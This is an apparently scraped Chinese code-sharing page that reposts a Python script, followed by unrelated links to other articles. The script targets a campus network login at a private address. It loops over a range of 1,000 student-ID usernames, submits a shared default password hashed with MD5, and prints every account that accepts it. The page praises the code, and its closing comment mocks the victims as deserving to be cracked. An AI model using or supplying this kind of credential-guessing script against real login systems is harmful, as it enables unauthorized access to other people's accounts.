# 源于Github的一段源码,编写的比较规范,应该是专业选手!

# encoding:utf-8
__author__ = 'www.yeayee.com' # 由本站增加注释,可随意Fork、Copy import requests # 用来请求网络的模块
import hashlib # 用来加密的模块 # 登录页的url
url = 'http://10.0.0.55/cgi-bin/do_login'
# 有些网站反爬虫,这里用headers把程序伪装成浏览器
# 部分网站如果登陆实在难以搞定,那么用cookie也是极好的
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36'} def md5(str):
# md5加密
m = hashlib.md5()
m.update(str)
return m.hexdigest() def login(form_data):
# 网址请求并获取内容
s = requests.session()
response = s.post(url, data=form_data, headers=header)
return response.content def tryAccount(id_start, id_end, default_pass):
# 登录需要提交的表单,格式为字典
form_data = {'username': 'XXXXXX', # 填入网站的用户名
'password': 'XXXXXX', # 填入网站密码(加密后的),这两行会被随后的命令赋值,因此可以省略
'drop': 0,
'type': 1,
'n': 100
} passwd = md5(default_pass)[8:24]
form_data['password'] = passwd # 将加密后的密码填入表单 for i in range(id_start, id_end):
form_data['username'] = str(i) # 将用户名填入表单
result = login(form_data) # 登录,获取返回的 response 结果
if result != 'password_error' and result != 'username_error':
print (str(i) + "\t" + result) # 打印账号、密码正确的学号...
print("\n上网不设密,活该被破解!") if __name__ == "__main__":
ID_START = 1120130000 # 起始学号
ID_END = 1120131000 # 结束学号1000测试号码
DEFAULT_PASS = "" # 初始密码
tryAccount(ID_START, ID_END, DEFAULT_PASS)

Python简单登录密码比对的更多相关文章

  1. python实现登录函数,比较简单

    一个简单的python实现登录以及修改密码的函数 #密码错误3次,锁定登录: password_list = ['] def account_login(): Tries = 3 while Trie ...

  2. python练习_简单登录

    python练习_简单登录 需求: 做一个登录的小程序,验证用户与密码 要求登录三次错误后锁定 以下代码实现的功能与思路: 功能: 1.除admin以外的用户累计登录失败次数超过三次则锁定,此时需要管 ...

  3. 【Python数据分析】Python模拟登录(一) requests.Session应用

    最近由于某些原因,需要用到Python模拟登录网站,但是以前对这块并不了解,而且目标网站的登录方法较为复杂, 所以一下卡在这里了,于是我决定从简单的模拟开始,逐渐深入地研究下这块. 注:本文仅为交流学 ...

  4. 【py登陆】python模拟登录

    用Python模拟登录网站 前面简单提到了 Python 模拟登录的程序,但是没写清楚,这里再补上一个带注释的 Python 模拟登录的示例程序.简单说一下流程:先用cookielib获取cookie ...

  5. python 简单图像识别--验证码

    python  简单图像识别--验证码 记录下,准备工作安装过程很是麻烦. 首先库:pytesseract,image,tesseract,PIL windows安装PIL,直接exe进行安装更方便( ...

  6. Struts1入门实例(简单登录)

    Struts1入门实例(简单登录) 现在开始加入公司的核心项目,但由于项目开发比较早,所以使用的技术不是很新潮,前台用的还是struts1. 虽然不是什么新技术,但仍可以从中学到好多东西的.花了一个晚 ...

  7. python爬虫登录保持及对http总结

    [前言]这几天一直看python爬虫登录保持.实现接口太多,太乱,新手难免云山雾罩.各种get.post,深入理解一下,其实就是由于http的特性需要这些操作.http是一种无状态.不保存上次通信结果 ...

  8. TODO:Laravel 内置简单登录

    TODO:Laravel 内置简单登录 1. 激活Laravel的Auth系统Laravel 利用 PHP 的新特性 trait 内置了非常完善好用的简单用户登录注册功能,适合一些不需要复杂用户权限管 ...

  9. Python简单爬虫入门三

    我们继续研究BeautifulSoup分类打印输出 Python简单爬虫入门一 Python简单爬虫入门二 前两部主要讲述我们如何用BeautifulSoup怎去抓取网页信息以及获取相应的图片标题等信 ...

随机推荐

  1. inotify监测实例

    /************************************************************************* > File Name: inotify.c ...

  2. 迷你MVVM框架 avalonjs 学习教程9、类名操作

    ms-class是avalon用得最多的几个绑定之一,也正因为如此其功能一直在扩充中.根据时期的不同,分为旧风格与新风格两种. 旧风格是指ms-class-xxx=”expr”,*ms-class-a ...

  3. jquery ui的css设计二

    上一篇见这里 本篇重点说一下其换肤功能 换肤一般是指改变控件的字体颜色,背景颜色,边框颜色,hover上去的颜色,背景图片,很少再会涉及修改其长宽,字体类型什么的. 以这个版本的CSS为观察对象,可以 ...

  4. hive中修改序列化格式分隔符

    标签: hadoophivealtertable 2014-11-19 10:45 4219人阅读 评论(0) 收藏 举报  分类: hadoop(6)  版权声明:本文为博主原创文章,未经博主允许不 ...

  5. WSAStartup function

    [WSAStartup function] Parameters wVersionRequested [in] The highest version of Windows Sockets speci ...

  6. 在Spring使用junit注解进行单元测试

    在Spring中可以使用junit配合注解进行单元测试 一.常用注解 1.@RunWith(SpringJUnit4ClassRunner.class),让测试运行于spring测试环境2.@Cont ...

  7. Python next() 函数

    Python next() 函数  Python 内置函数 描述 next() 返回迭代器的下一个项目. 语法 next 语法: next(iterator[, default]) 参数说明: ite ...

  8. interrupt和isInterrupted的基本使用方法

    java线程是协作式,而非抢占式 调用一个线程的interrupt() 方法中断一个线程,并不是强行关闭这个线程,只是跟这个线程打个招呼,将线程的中断标志位置为true,线程是否中断,由线程本身决定. ...

  9. ecshop适配php

    https://www.cnblogs.com/xiwang6428/p/5460155.html

  10. openstack网络管理命令

    1.获取网络列表 [root@cc ~(keystone_admin)]# neutron net-list +--------------------------------------+----- ...